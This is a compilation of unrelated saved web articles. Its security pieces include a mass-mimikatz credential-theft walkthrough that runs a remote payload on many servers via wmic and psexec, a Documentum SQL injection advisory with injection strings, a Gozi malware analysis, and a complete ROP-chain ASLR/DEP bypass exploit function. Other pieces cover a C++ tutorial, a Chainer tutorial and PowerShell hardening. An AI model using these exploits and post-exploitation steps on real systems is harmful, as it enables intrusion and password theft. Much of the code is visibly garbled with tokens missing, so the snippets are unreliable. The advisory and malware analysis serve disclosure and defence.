computer names to use mimikatz on**.** You'll have to gather this one way or
another**.**  
  
**Step 8**. Execute mongoose \(from directory with mimikatz**.** ps1\) - This
will start a listener with directory listings enabled on port 8080 by default  
  
**Step 9a****.** Execute wmic:

> wmic /node:@serverlist.txt process call create "\\\192**.** 168.92**.**
> 127\open\powershellme.cmd"
**Step 9b****.** Execute wmic with creds:

> wmic /node:@serverlist.txt /user:PROJECTMENTOR\jdoe /password:ASDqwe123
> process call create "\\\192**.** 168.92.127\open\powershellme.cmd"
**Step 10****.** Watch as text files full of wonder and joy fill your
share**.**

You can find the scripts here: https://github.com/mubix/post-
exploitation/tree/master/scripts/mass\_mimikatz

Don't forget to clean up::  
  
**Step 1****.** kill mongoose process  
**Step 2**. net share open /delete  
**Step 3****.** kill/reset registry values  
**Step 4****.** delete "open" directory

**Got a better way of getting this done**?** Please leave a comment.**

**P.S**.** **You could just enable Powershell Remoting for them ;\)

> psexec @serverlist.txt -u \[admin account name\] -p \[admin account
> password\] -h -d powershell.exe "enable-psremoting -force"
\--mubix

I got passwords from here,here,here,here, EVERYWHERE**\!**

****

# Visual RE - ..cantor.dust..

**Created:**| _7/28/2013 8:05:12 AM_  
---|---  
**Updated:**| _7/28/2013 8:07:26 AM_  
**Author:**| __  
**Tags:**| _visualization binnavi_  
  

# **V** isual RE - ..cantor.dust..

### Visual RE****

**.**.cantor.dust..

..**.** translates binary data into visual representations, making no
assumptions about the underlying data type ..**.**

<img src='img/Temp2_8971.png' />

..**.** beginning users quickly learn to differentiate between text, code,
audio, visual, and compressed data**.** advanced users readily identify
minutiae hiding in gigabytes of data ..**.**

<img src='img/Temp2_8951.png' />

..**.** learning to recognize the pattern associated with a target data type
translates this ..**.**

<img src='img/Temp2_8968.png' />

..**.** our minds were designed to process _images_ , not hex ..**.**

<img src='img/Temp2_8967.png' />

..**.**  _dynamic_ \- visually 'play' through a binary file to find variations
in structure and reveal embedded data ..**.**

<img src='img/Temp2_8977.png' />

..**.**  _powerful_ \- 37 unique visualization strategies offer the ability to
focus on data  _type,__patterns_ ,  _variation_ ,  _distribution_ ,_entropy_ ,
_organization_ , _etc_..**.** the reverser chooses the visualization technique
targeting the information he/she wishes to extract ..**.**

<img src='img/Temp2_8959.png' />

..**.** unicode, followed by a bitmap image ...

<img src='img/Temp2_8966.png' />

..**.** table of sequential signed integers ...

<img src='img/Temp2_8958.png' />

..**.** x86, followed by a .ico file ...

<img src='img/Temp2_8961.png' />

..**.** ad infinitum ...

<img src='img/Temp2_8976.png' />

<img src='img/Temp2_8974.png' />

<img src='img/Temp2_8956.png' />

<img src='img/Temp2_8960.png' />

<img src='img/Temp2_8972.png' />

<img src='img/Temp2_8949.png' />

<img src='img/Temp2_8970.png' />

<img src='img/Temp2_8975.png' />

<img src='img/Temp2_8973.png' />

<img src='img/Temp2_8954.png' />

<img src='img/Temp2_8965.png' />

<img src='img/Temp2_8962.png' />

<img src='img/Temp2_8964.png' />

<img src='img/Temp2_8978.png' />

<img src='img/Temp2_8952.png' />

<img src='img/Temp2_8955.png' />

<img src='img/Temp2_8950.png' />

<img src='img/Temp2_8979.png' />

<img src='img/Temp2_8963.png' />

<img src='img/Temp2_8953.png' />

<img src='img/Temp2_8957.png' />

<img src='img/Temp2_8969.png' />

<img src='img/Temp2_8948.png' />

****

# Code And Graphics: Quick case: Char Pointer vs Char Array in C++

**Created:**| _7/16/2014 10:18:15 AM_  
---|---  
**Updated:**| _7/16/2014 10:18:15 AM_  
**Author:**| __  
**Tags:**| _C++ programming Memory_  
  

# Quick case: Char Pointer vs Char Array in C++

<img src='img/Temp2_1503.png' />

When you write:

[code]

    "Hexlo World!"
[/code]

Everything works as expected. But what about:

[code]

    "Hexlo World!"
[/code]

Do you think it will work correctly? If you are not sure, then I guess, you
might be interested in the rest of article.

In Visual Studio 2013 I got this message:

<img src='img/Temp2_1501.png' alt='vs error' />

Definitely not nice\! And probably some stupid mistake :\)

## What's the problem?

The first example shows simple array initialization. We can read/write from/to
the array `strA`. We can even print its size:

[code]

    <<"sizeof(strA) = "<<sizeof<<
[/code]

And guess what? The output is of course `13`.

Our second case looks almost the same. Though, there is a subtle, but
important, difference.

[code]

    <<"sizeof(strP) = "<<sizeof<<// << crash
[/code]

This will print `size of the pointer` \(4 or 8 bytes\). The problem is that
this pointer points to **read-only** memory\! That way, when we want to modify
the string \(`strP[2] = 'l';`\), we get runtime error.

Let's see **C++FAQ** for some details:

> A **string literal** \(the formal term for a double-quoted string in C
> source\) can be used in two slightly different ways:
> 1\) As the initializer for an array of char, as in the declaration of char
> a\[\] , it specifies the initial values of the characters in that array
> \(and, if necessary, its size\).
> 2\) Anywhere else, it turns into an unnamed, static array of characters, and
> this unnamed array may be stored in read-only memory, and which therefore
> cannot necessarily be **modified**.
Our first case follows the first rule - it is array initialization. The second
code is unnamed static array of character.

It seems that it is up to compiler to decide whether such string goes to read-
only or read-write section. Usually compilers \(GCC and Visual Studio\) places
it in the read only block. Any attempt to change such memory location will be
a bug.

**Advice:** do not use `char *p = "..."`\! Use string literals only for `const
char *` or array initialization. Also, remember about `std::string` which is
usually more useful.

**GCC Note:** It seems that GCC does a better job when compiling such code,
you will get the following warning:

[code]

    deprecated conversion from string constant to 'char*'[-Wwrite-strings]
[/code]

**VC Note:** in VS 2013 there is option "/Zc:strictStrings" to prevent such
conversion.

## The `.rdata`/`.rodata` section

<img src='img/Temp2_1502.png' alt='Simplified EXE format' />

Executable file on Windows has PE \(Portable Executable\) format. On Linux we
have ELF \(Executable and Linkable Format\).

The above binary formats \(and others\) have, to simplify, two basic sections:
`DATA` and `CODE`:

  * `DATA` \- this section stores global and initialized variables. Here lies our `read-only-data` subsection: 
    * `rdata` \- PE
    * `rodata` \- ELF
  * `CODE` \- or `TEXT` section - stores compiled binary code. This section is also read-only. 

In general when we write:

[code]

    const globalA // will be in .r(o)data
[/code]

[code]

     globalArray// will be stored in .data, no initialization.// To clarify, it will go .bss section.
[/code]

String literals \(assigned to pointers\) also follow '_global variables_ '
rule. So it it important to treat them as read-only and do not try to change
them\!

## Wrap up

  1. `char *s = "aaa"` creates a pointer, to read only chunk of memory. If you try to modify this data you will get runtime error\! 
     * **Do not use** such construction in your code\!
  2. `char s[] = "aaa"` creates a normal array and initializes it.
  3. Executable format \(PE or ELF\) consists of several sections. Two, most notable, are DATA and TEXT. In DATA all global and initialized variables are stored. In TEXT there is a compiled code.

## References

## Actions

Did you have similar problems?

Any strange errors/bugs with read only sections?

Reddit discussion here

CodeProject

# http://blog.gdatasoftware.com/blog/article/gozi-goes-64-bit.html

**Created:**| _3/11/2013 8:31:50 AM_  
---|---  
**Updated:**| _3/11/2013 8:40:13 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

back

  

## Gozi goes 64-bit

### 64-bit browsers are now also exposed to MITB attacks

For some time, banking Trojan Gozi has been using interesting technologies to
implement its man-in-the-browser functionality, or MITB for short. Banking
Trojans use the MITB form of attack to manipulate the network traffic between
a customer and their bank in order to steal the customer's money. On the one
hand, Gozi is the first banking Trojan that uses man-in-the-browser
functionality in a 64-bit browser, namely Internet Explorer. On the other
hand, Gozi's use of a method called "function table hooking", which Gozi uses
for the Google Chrome browser, is also remarkable.

# IE64 hooking

A technology called hooking is usually used to implement man-in-the-browser
functionality. There, program interface calls of network libraries \(IE:
WININET.DLL\) are diverted to the Trojan's source code to manipulate SSL-
encrypted network traffic in an unencrypted state.

There were some Trojans that could run on 64-bit operating systems before but
even within these, only 32-bit browsers could be attacked. One of the reasons
for that is that hooking in 64-bit processes is extremely complex. There are
two classic hooking methods:

## Export address table hooking

<img src='img/Temp2_10310.png' width='200' height='182' alt='Figure: Classic
EAT Hooking' /> Each program library \(DLL\) contains a table of provided
program interfaces, which is called the export address table \(EAT\). The
table contains a list with the assignment of interface names to interface
addresses. During hooking, the interface addresses in the list are now
manipulated in such a way that the interface suddenly points to the Trojan's
source code, which provides the man-in-the-browser functionality. 

However, this method does not readily work like that in 64-bit processes. This
is due to the fact that the EAT for 64-bit processes is also a table with
32-bit addresses, towards the start of the program library. However, with a
distance of 32 bits, a Trojan in a 64-bit address space cannot ensure that it
can refer to its own source code.

## Inline hooking

<img src='img/Temp2_10311.png' width='200' height='203' alt='Figure: Classic
Inline Hooking' /> The first program instructions of the target functions are
manipulated. The target functions are the functions that are supposed to be
hooked, in this case the SSL function. Here, the malware exploits the fact
that Windows program interfaces in 32-bit processes always start with the same
five bytes:  
<img src='img/Temp2_10305.png' width='350' height='63' />

The first instruction \(mov edi, edi\) is a so-called hot-patch point , which
is designed in particular for the \(legitimate\) hooking of functions. The
next two instructions are used to prepare the stack frame of a function. 

64-bit libraries, however, do not have five fixed bytes at the start of a
function. Hence, the inline hooking of 64-bit libraries would require the byte
code to be analysed using a disassembler. However, this is an extremely
complex and error-prone process. 

# Gozi has to use hybrid technology

<img src='img/Temp2_10306.png' width='200' height='207' alt='Figure: IE64
Hooking' /> Due to the aforementioned difficulties, Gozi uses a type of hybrid
of these two technologies. First, Gozi looks for an unused memory area at the
end of the executable code of the library. An unused memory area practically
exists there at all times because Windows splits memory into fixed blocks
\("alignment"\). So, unless the last memory block happens to be used
completely, the rest is filled with fill bytes \("padding"\). In order to not
have to manipulate the byte code of a function, as in inline hooking, Gozi
writes separate branch instructions into these fill bytes. This technology is
also called "code caving". 

# Gozi first starts with EAT hooking

The interface addresses in the EAT are now manipulated in such a way that they
point to the corresponding branch instructions in the "code cave". Since the
"code cave" is still within the library, no 64-bit distances are required for
these pointers. In this context, EAT hooking is thus possible without
problems. It is only the branch commands within the "code cave", where there
is sufficient space, that can implement branches with 64-bit distances.

# Chrome hooking

There is one major difference between the implementation of hooks in Google
Chrome and Internet Explorer or Firefox. Chrome uses the same library as
Firefox \(nspr4\), but it is not integrated as a dynamic library \(DLL\) but
rather statically integrated directly into Chrome's code. However, Chrome
contains an internal table that contains the functions for inbound
\(ssl\_Read\) and outbound \(ssl\_Write\) SSL-encrypted network traffic:

<img src='img/Temp2_10308.png' />

<img src='img/Temp2_10307.png' alt='Screenshot: Chrome browser: non-
manipulated function table' />

All functions in Chrome that handle encrypted SSL network traffic read the
addresses from the corresponding functions of this table. Gozi hence uses a
technology called function table hooking, i.e. this table is manipulated in
such a way that the Gozi code is executed first \(here: mspaperf.dll\):

<img src='img/Temp2_10309.png' alt='Screenshot: Chrome browser: manipulated
function table' />

This method is particularly interesting if you look at how it differs from
classic hooking variants. The classic variants overwrite data in memory blocks
that are normally not writable \(code section and EAT\). Hence, the memory
access rights must be changed, which is relatively easy to detect. Even after
setting the hooks, the file in the memory can be compared to the file on the
hard drive in order to find memory modified by hooks. In the table hooking
function, however, the overwritten function pointers are in the data section
of the browser's binary file. Hence, there is no need to change any memory
authorisations. In addition, the data section always contains dynamically
changeable data so that a change is not suspicious by itself, in contrast to
the manipulation of the code section and the EAT.

Function table hooking is therefore much harder to detect than the classic EAT
hooking and inline hooking variants. 

# G Data BankGuard offers protection

The upcoming G Data Security Generation 2014 contains improved BankGuard
technology for secure online banking. It will also protect both Chrome and the
64-bit version of Internet Explorer. 

More information about this improved G Data technology and the new product
generation is available at and after CeBIT 2013 \! 

* * *
For fellow researchers: The SHA256 of the sample is
e388d31e6fde7bdf1f395c29e158c24bb0a87829c6f19511de46e4ef6e054ce0

back

# Documentum DQL Injection / ESA-2014-046 | Pentura Labs's Blog
**Created:**| _8/24/2014 8:36:17 PM_  
---|---  
**Updated:**| _8/24/2014 8:36:17 PM_  
**Author:**| __  
**Tags:**| _code-injection_  
  

Before naming your vulnerabilities became cool \(Heartbleed anyone?\) I
discovered an issue on the EMC Documentum software and internally called it
“injeception”. Now that naming your vulnerability is so mainstream I will just
call it ESA-2014-046 \(that, surprisingly, matches with the name used by the
vendor\!\)

But why that name? Well, it’s 2014 and they have released other 45 vulner….
Oh, you mean the injeception? Well, because if you do an injection inside an
injection; let me explain to you how it works:

  * The EMC Documentum software uses an abstraction layer to allow the software to use any backend database server, such as Oracle or MSSQL. This layer uses their own query language \(DQL, from Documentum Query Language\) and this the first part for the injeception to work.
  * I found an issue \(CVE-2014-2508\) that allows me to inject DQL at the end of a query. Descriptive error messages also helped to understand what was happening on the backend. 
    * We are now at the DQL level \(moving from the app level that we were before\) and we are still confined to the ORM system that EMC has in place to prevent users from one unit/department accessing files from other departments.
    * Reviewing the DQL Reference Manual I found references to two interesting keywords: ENABLE and ORACLE. The use of both can be seen in the page 323 \(Passthrough hits\) of the manual. It essentially allows insertion of custom Oracle \(and presumably MSSQL, but didn’t have the chance to try that\) SQL into the final query that is generated by the Documentum software. We have our third jump\! \(And I think this one is CVE-2014-2507 but I haven’t been credited for this one, so I am not sure if I am right assuming this…\) 
      * Now we find ourselves in an interesting position. We are inside an Oracle hint. For those who don’t know \(I didn’t at the time\) hints are a special set of keywords that you can write between the SELECT and the first parameter of the query to improve the performance. Like this:

[code]

    SELECT /* HINT */ 1 from dual;
[/code]

  * So… can we escape from the hint syntax and execute code? Sure thing\! If we write ‘\*/’ Documentum passed it unescaped to the SQL query and we are able to inject any SQL query from our original DQL injection. Let’s go up a level again on this injection to construct the final valid query.
  * First we need to make our Oracle query:

[code]

    ***/ user FROM dual--**
[/code]

  *   * Now we need to add it into a valid DQL query:

[code]

    **ENABLE(ORACLE('** */user FROM DUAL--**'))**
[/code]

  *   * Finally, we have to add that string at the end of our DQL Injection:

[code]

    **table_field from valid_table** ENABLE(ORACLE('*/user FROM DUAL--'))**;--**
[/code]

  * As you can see we need a valid table and a valid field but I got those from the debug messages, documentation might also help.

This way we have moved from a DQL Injection \(CVE-2014-2508\) to a shell
injection \(CVE-2014-2507?\) and execute Oracle queries. But what about
CVE-2014-2506? Well, the user running those Oracle queries does not have any
privilege limitations so it can access any information, no matter what
department or OU the user executing the DQL is member of, they will access
even configuration details from the server.

###

### Rate this:

Rate This

###

### Share this:

  * Email
  * Facebook
  * Twitter
  * 

Loading...

### ___Related_

Advisory: CRLF Injection Vulnerability in Moodle.In "pentura"

Vulnerability Development: Buffer Overflows: RET Overwrite... In
"exploitation"

Web security news and the "Hack of the Year"In "opinion"

# White Phosphorus Exploit Pack Sayonara ASLR DEP Bypass Technique

**Created:**| _6/24/2011 11:21:26 PM_  
---|---  
**Updated:**| _6/24/2011 11:21:56 PM_  
**Author:**| __  
**Tags:**| __  
  

[code]

    #+-------- --- -
    #| White Phosphorus Exploit Pack Sayonara ASLR DEP Bypass Technique
    #|  June 2011
    #+--
    
    Successful exploitation of modern Windows relies on the attackers
    ability to bypass various memory protection mechanisms, ASLR and DEP
    being the combination that creates the most formidable opponent. White
    Phosphorus provides customers with reliable, universal exploits that
    bypass ASLR and DEP where ever possible. We dedicate time and effort 
    to researching techniques that allow us to do this.
    
    In May 2011 we released version 1.12 of the pack including a module that
    exploited the Mozilla Firefox nsTreeRange Dangling Pointer vulnerability
    (CVE-2011-0073) on Firefox 3.6.0-3.6.16 on all versions of windows, and
    made use of a ASLR DEP bypass that is internally called "Sayonara".
    
    Sayonara is a position and target independent universal return orientated
    payload that allows us to bypass ASLR and DEP on any version of Windows.
     
    The DLL used by the technique is a redistribution of the shared C runtime 
    component of Microsoft Visual C++ - msvcr71.dll - shipped with countless
    applications. In the case of browser based exploitation msvcr71.dll ships
    with the Java Runtime Environment. 
    
    While it's common knowledge that there are non ASLR DLLs in Java, the 
    problem with native Java DLLs is that they are often recompiled with new 
    Java releases. This means the location of known instruction sequences for 
    a bypass in one version of the JRE may be broken in the next. Msvcr71.dll
    is useful because it has remained static since 2006 when it was first 
    introduced in version 1.6.0.0.
    
    This provides one DLL and one payload to bypass ASLR and DEP on all
    versions of Windows when msvcr71.dll is loaded or can be forced to be
    loaded as is the case with browsers and Java.
    
    The following code or derivatives of it can freely be used, modified and
    otherwise improved to make use of this technique in your exploits.
    
    #+-------- --- -
    #| White Phosphorus Exploit Pack Sayonara ASLR DEP Bypass Technique
    #|   Code
    #+--
    
    from struct import pack
    
    def wp_sayonaraASLRDEPBypass(size=1000):
        # White Phosphorus
        # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
        #
        # This technique uses msvcr71.dll which has shipped unchanged
        # in the Java Runtime Environment since v1.6.0.0 released
        # December 2006.
        #
        # mail: support@whitephosphorus org
        # sales: http://www.immunityinc.com/products-whitephosphorus.shtml
    
        print "WP> Building Sayonara - Universal ASLR and DEP bypass"
    
        size += 4  # bytes to shellcode after pushad esp ptr
    
        depBypass = pack('<L', 0x7C344CC1)  # pop eax;ret;
        depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;
        depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}
        depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect
        depBypass += pack('<L', 0x7C365645) # pop esi;ret;
        depBypass += pack('<L', 0x7C345243) # ret;
        depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;
        depBypass += pack('<L', 0x7C3487EC) # call eax 
        depBypass += pack('<L', 0x7C344CC1) # pop eax;ret; 
        depBypass += pack("<i", -size)      # {size}
        depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}
        depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}
        depBypass += pack('<L', 0x7C3439FA) # pop edx;ret; 
        depBypass += pack('<L', 0xFFFFFFC0) # {flag}
        depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}
        depBypass += pack('<L', 0x7C354648) # pop edi;ret;
        depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;
        depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
        depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}
        depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;
        depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;
        depBypass += pack('<L', 0x7C36683F) # push esp;ret;
    
        print "WP> Universal Bypass Size: %d bytes"%len(depBypass)
        return depBypass 
    
[/code]

# Introduction to Chainer — Chainer 1.0.0 documentation

**Created:**| _6/9/2015 10:20:58 AM_  
---|---  
**Updated:**| _6/9/2015 10:20:58 AM_  
**Author:**| __  
**Tags:**| _AI neural networks\_  
  

# Introduction to Chainer¶

This is the first section of the Chainer Tutorial. In this section, you will
learn about the following things:

  * Pros and cons of existing frameworks and why we are developing Chainer
  * Simple example of forward and backward computation
  * Usage of parameterized functions and their gradient computation
  * Management of a set of parameterized functions \(a.k.a. “model” in most frameworks\)
  * Parameter optimization

After reading this section, you will be able to:

  * Compute gradients of some arithmetics
  * Write a multi-layer perceptron with Chainer

## Core Concept¶

As mentioned on the front page, Chainer is a flexible framework for neural
networks. One major goal is flexibility, so it must enable us to write complex
architectures simply and intuitively.

Most existing deep learning frameworks are based on the **“Define-and-Run”**
scheme. That is, first a network is defined and fixed, and then the user
periodically feeds it with minibatches. Since the network is statically
defined before any forward/backward computation, all the logic must be
embedded into the network architecture as _data_. Consequently, defining a
network architecture in such systems \(e.g. Caffe\) follows a declarative
approach. Note that one can still produce such a static network definition
using imperative languages \(e.g. Torch7 and Theano-based frameworks\).

In contrast, Chainer adopts a **“Define-by-Run”** scheme, i.e., the network is
defined on-the-fly via the actual forward computation. More precisely, Chainer
stores the history of computation instead of programming logic. This strategy
enables to fully leverage the power of programming logic in Python. For
example, Chainer does not need any magic to introduce conditionals and loops
into the network definitions. The Define-by-Run scheme is the core concept of
Chainer. We will show in this tutorial how to define networks dynamically.

This strategy also makes it easy to write multi-GPU parallelization, since
logic comes closer to network manipulation. We will review such amenities in
later sections of this tutorial.

In example codes of this tutorial, we assume for simplicity that the following
symbols are already imported:

[code]

    import numpy  
     chainer import  Function FunctionSet gradient_check Variable optimizers
    import chainer.functions  
    
[/code]

These imports appear widely in Chainer’s codes and examples. For simplicity,
we omit this idiom in this tutorial.

## Forward/Backward Computation¶

As described above, Chainer uses “Define-by-Run” scheme, so forward
computation itself _defines_ the network. In order to start forward
computation, we have to set the input array to `Variable` object. Here we
start with simple `ndarray` with only one element:

[code]

    >>> x_data  array dtypefloat32
    >>>   Variablex_data
    
[/code]

Warning

Chainer currently only supports 32-bit float for most computations.

A Variable object has basic arithmetic operators. In order to compute , just
write

[code]

    >>>         
    
[/code]

The resulting is also Variable object, whose value can be extracted by
accessing the attribute:

[code]

    >>> 
    array([ 16.], dtype=float32)
    
[/code]

What holds is not only the result value. It also holds the history of
computation \(or computational graph\), which enables us to compute its
differentiation. This is done by calling its `backward()` method:

[code]

    >>> backward
    
[/code]

This runs _error backpropagation_ \(a.k.a. _backprop_ or _reverse-mode
automatic differentiation_\). Then, the gradient is computed and stored in the
attribute of the input variable :

[code]

    >>> 
    array([ 8.], dtype=float32)
    
[/code]

Also we can compute gradients of intermediate variables. Note that Chainer, by
default, releases the gradient arrays of intermediate variables for memory
efficiency. In order to preserve gradient information, pass the `retain_grad`
argument to the backward method:

[code]

    >>>   
    >>>       
    >>> backwardretain_grad
    >>> 
    array([-1.], dtype=float32)
    
[/code]

All these computations are easily generalized to multi-element array input.
Note that if we want to start backward computation from a variable holding a
multi-element array, we must set the _initial error_ manually. This is simply
done by setting the attribute of the output variable:

[code]

    >>>   Variablearray      dtypefloat32
    >>>       
    >>>     dtypefloat32
    >>> backward
    >>> 
    array([[  0.,   2.,   4.],
           [  6.,   8.,  10.]], dtype=float32)
    
[/code]

Many functions taking `Variable` object\(s\) are defined in the `functions`
module. You can combine them to realize complicated functions with automatic
backward computation.

## Parameterized functions¶

In order to write neural networks, we have to use some _parameterized
functions_ and optimize their parameters. As noted above, functions are
predefined in `functions` module, which also includes parameterized functions.

One of the most fundamental parameterized functions is the `Linear` function
\(a.k.a. _fully-connected layer_ or _affine transformation_\). It represents a
mathematical function , where the matrix and the vector are parameters. A
linear function from three-dimensional space to two-dimensional space is
defined by:

[code]

    >>>   Linear 
    
[/code]

Most functions only accept minibatch input, where the first dimension of input
arrays is considered as the _batch dimension_. In the above Linear function
case, input must has shape of \(N, 3\), where N is the minibatch size.

The parameters of Linear function are stored in and attributes. By default,
the matrix W is initialized randomly, while the vector b is initialized with
zeros.

[code]

    >>> 
    array([[ 1.33545339, -0.01839679,  0.7662735 ],
           [-1.21562171, -0.44784674, -0.07128379]], dtype=float32)
    >>> 
    array([ 0.,  0.], dtype=float32)
    
[/code]

Instances of a parameterized function class act like usual functions:

[code]

    >>>   Variablearray      dtypefloat32
    >>>   
    >>> 
    array([[ 3.5974803 , -2.3251667 ],
           [ 9.84747124, -7.52942371]], dtype=float32)
    
[/code]

Gradients of parameters are computed by `backward()` method. Note that
gradients are **accumulated** by the method rather than overwritten. So first
you must initialize gradients to zero to renew the computation. Gradients of
Linear function are stored in and attributes:

[code]

    >>> 
    >>> 
    
[/code]

This procedure is simplified by FunctionSet and Optimizer, which we will see
in the next seciton.

Now we can compute the gradients of parameters by simply calling backward
method:

[code]

    >>>     dtypefloat32
    >>> backward
    >>>
    >>> 
    array([[ 5.,  7.,  9.],
           [ 5.,  7.,  9.]], dtype=float32)
    >>> 
    array([ 2.,  2.], dtype=float32)
    
[/code]

## FunctionSet¶

Most neural network architectures contain multiple parameterized functions.
`FunctionSet` makes it easy to manage them. This class acts like a simple
object, with attributes initialized by keyword arguments of the initializer:

[code]

    >>> model  FunctionSet
          Linear 
          Linear 
    
    >>> model
    <chainer.functions.linear.Linear object at 0x7f7f03e4f350>
    >>> model
    <chainer.functions.linear.Linear object at 0x7f7f03e4f590>
    
[/code]

You can also add additional functions later by setting attributes:

[code]

    >>> model  Linear 
    
[/code]

Since the `model` is just an object with functions stored as its attributes,
we can use these functions in forward computation:

[code]

    >>>   Variablearray        dtypefloat32
    >>>   model
    >>>   model
    >>>   model
    
[/code]

One of the features of FunctionSet is the ability to collect parameters and
gradients. A tuple of all parameters and a tuple of all gradients are
extracted by `FunctionSet.parameters` and `FunctionSet.gradients` properties,
respectively.

## Optimizer¶

`Optimizer` is the last core feature of Chainer described in this section. It
runs a numerical optimization algorithm given tuples of parameters and
gradients. Many algorithms are implemented in `optimizers` module. Here we use
the simplest one, called Stochastic Gradient Descent:

[code]

    >>> optimizer  optimizers
    >>> optimizersetupmodelcollect_parameters
    
[/code]

The method `setup()` prepares for the optimization given parameters and
gradients. The interface is designed to match the return values of the
`FunctionSet.collect_parameters()` method.

Since Optimizer does not know the functions that actually own the parameters
and gradients, once parameters and gradients are given to Optimizer, functions
must use same parameter and gradient array objects throughout all
forward/backward computations.

In order to run optimization, you first have to compute gradients. Zeroing the
initial gradient arrays are simply done by calling `zero_grads()` method:

[code]

    >>> optimizerzero_grads
    
[/code]

We have done the zeroing manually in the previous section. The line above is
an equivalent and simpler way to initialize the gradients.

Then, after computing gradient of each parameter, `update()` method runs one
iteration of optimization:

[code]

    >>> compute gradient
    >>> optimizerupdate
    
[/code]

Optimizer also contains some features related to parameter and gradient
manipulation, e.g. weight decay and gradient clipping.

## Example: Multi-layer Perceptron on MNIST¶

Now you can solve a multiclass classification task using a multi-layer
perceptron. Here we use hand-written digits dataset called MNIST, which is the
long-standing de-facto “hello world” of machine learning. This MNIST example
is also found in `examples/mnist` directory of the official repository.

In order to use MNIST, `sklearn.datasets.fetch_mldata()` function of scikit-
learn is useful:

[code]

    >>>  sklearn.datasets import fetch_mldata
    >>> mnist  fetch_mldata'MNIST original'
    
[/code]

The mnist dataset consists of 70,000 grayscale images of size 28x28 \(i.e. 784
pixels\) and corresponding digit labels. First, we scale pixels to \[0, 1\]
values, and divide the dataset into 60,000 training samples and 10,000 test
samples.

[code]

    >>> x_all  mnistastypefloat32  
    >>> y_all  mnisttargetastypeint32
    >>> x_train x_test  splitx_all 60000
    >>> y_train y_test  splity_all 60000
    
[/code]

Next, we want to define the architecture. We use a simple three-layer
rectifier network with 100 units per layer as an example. Before defining the
forward routine, we have to prepare our parameterized functions:

[code]

    >>> model  FunctionSet
          Linear 
          Linear 
          Linear  
    
    >>> optimizer  optimizers
    >>> optimizersetupmodelcollect_parameters
    
[/code]

Note that `model.l3` is the final linear layer whose output corresponds to the
ten digits. We also set up the optimizer here.

Now we can define the forward routine using these Linear functions. Typically
it is defined as a simple python function given input arrays:

[code]

    >>>  forwardx_data y_data
          Variablex_data
          Variabley_data
          model
          model
          model
        return softmax_cross_entropy  accuracy 
    
[/code]

This function uses `functions.relu()` as an activation function. Since ReLU
does not have parameters to optimize, it does not need to be included in
model. `functions.softmax_cross_entropy()` computes the loss function of
softmax regression. `functions.accuracy()` computes the classification
accuracy of this minibatch.

Finally, we can write a learning loop as following:

[code]

    >>> batchsize  
    >>>  epoch  xrange
        print 'epoch' epoch
        indexes  randompermutation60000
           xrange 60000 batchsize
            x_batch  x_trainindexes    batchsize
            y_batch  y_trainindexes    batchsize
    
            optimizerzero_grads
             accuracy  forwardx_batch y_batch
            backward
            optimizerupdate
    
[/code]

Only the last four lines are the code related to Chainer, which are already
described above.

Here you find that, at each iteration, the network is defined by forward
computation, used for backprop, and then disposed. By leveraging this “Define-
by-Run” scheme, you can imagine that recurrent nets with variable length input
are simply handled by just using loop over different length input for each
iteration.

After or during optimization, we want to evaluate the model on the test set.
It can be achieved simply by calling forward function:

[code]

    >>> sum_loss sum_accuracy   
    >>>    xrange 10000 batchsize
        x_batch  x_test    batchsize
        y_batch  y_test    batchsize
         accuracy  forwardx_batch y_batch
        sum_loss         batchsize
        sum_accuracy   accuracy  batchsize
    
    >>> mean_loss      sum_loss  10000
    >>> mean_accuracy  sum_accuracy  10000
    
[/code]

The example code contains GPU support, though the essential part is same as
the code in this tutorial. We will review in later sections how to use
GPU\(s\).

# Powershell Security at Enterprise Customers

**Created:**| _5/31/2017 6:08:46 PM_  
---|---  
**Updated:**| _5/31/2017 6:08:46 PM_  
**Author:**| __  
**Tags:**| _powershell endpoint\_protection_  
  

  

# Powershell Security at Enterprise Customers

Rate this article

★★★★★

★★★★

★★★

★★

★

<img src='img/8282_avatar.jpg' width='22' height='22' alt='avatar of david-
das-neves' />David das NevesMay 25, 201710

  * Share
  * 263
  * 626

* * *
####

#### **TL;DR; \(“too long; didn’t read”\)**

**There are some people who don´t have the time to read the whole text – if
you are familiar with the topic the text in bold includes the most important
points and is just for you.**

**The most important points to enforce Powershell Security is to use the
newest Versions \(OS and Powershell\), use whitelisting and enforcing the
usage of the ConstrainedLanguageMode and establish a good rights structure
with frequent centralized logging and validate all the new features coming
with the new Windows 10 Versions. And now in more detail:**

* * *
Hi together,

I work as Premier Field Engineer for Microsoft Germany and have been working
with many enterprise customers to assist in the preparation of the migration
towards Windows 10. Here I got very often asked how to establish a complete
Powershell Security approach. **What are the most important steps and what has
to be done in which priority order? The problem is that there is no
comprehensive overview for this. And the complexity also raises from 0 to 100
within the first topics. There are a lot of dependencies which you should be
aware of\!**

Therefore I created a session for the _Powershell Conference 2017_ to show
this in depth – unfortunately it is a huge amount of information and you need
to know about some of the technical terms to understand the whole picture
which I will explain within this \(long\) blog post.

First we should start why everyone thinks that Powershell is the evil
armyknife for the blackhats out there. The news are full of security breaches
where Powershell has been used. If you search a little bit you will find
without any doubt dozens of hacking frameworks which can be used out of the
box even from unexperienced people and allowing to do disturbing harming
things much too easily. This brings most people \(who are not familiar with
the technical parts in depth\) to the conclusion that **Powershell is evil**
and has to be deactivated. Don´t try this. You won´t do this even correctly.
**Powershell can be used even without the Powershell.exe and there are some
frameworks like PSAttack which do this easily as you can see in this Procmon
log:**

<img src='img/psattack2-1024x562.jpg' width='800' height='450' />

* * *
#### **_Powershell is just powerful\!_**

<img
src='img/AAEAAQAAAAAAAA0SAAAAJDc4MjhmODUzLWZiN2MtNGY2ZC1hN2RkLTA3Yjc4NjkxMmZlZA.jpg'
width='800' height='450' />

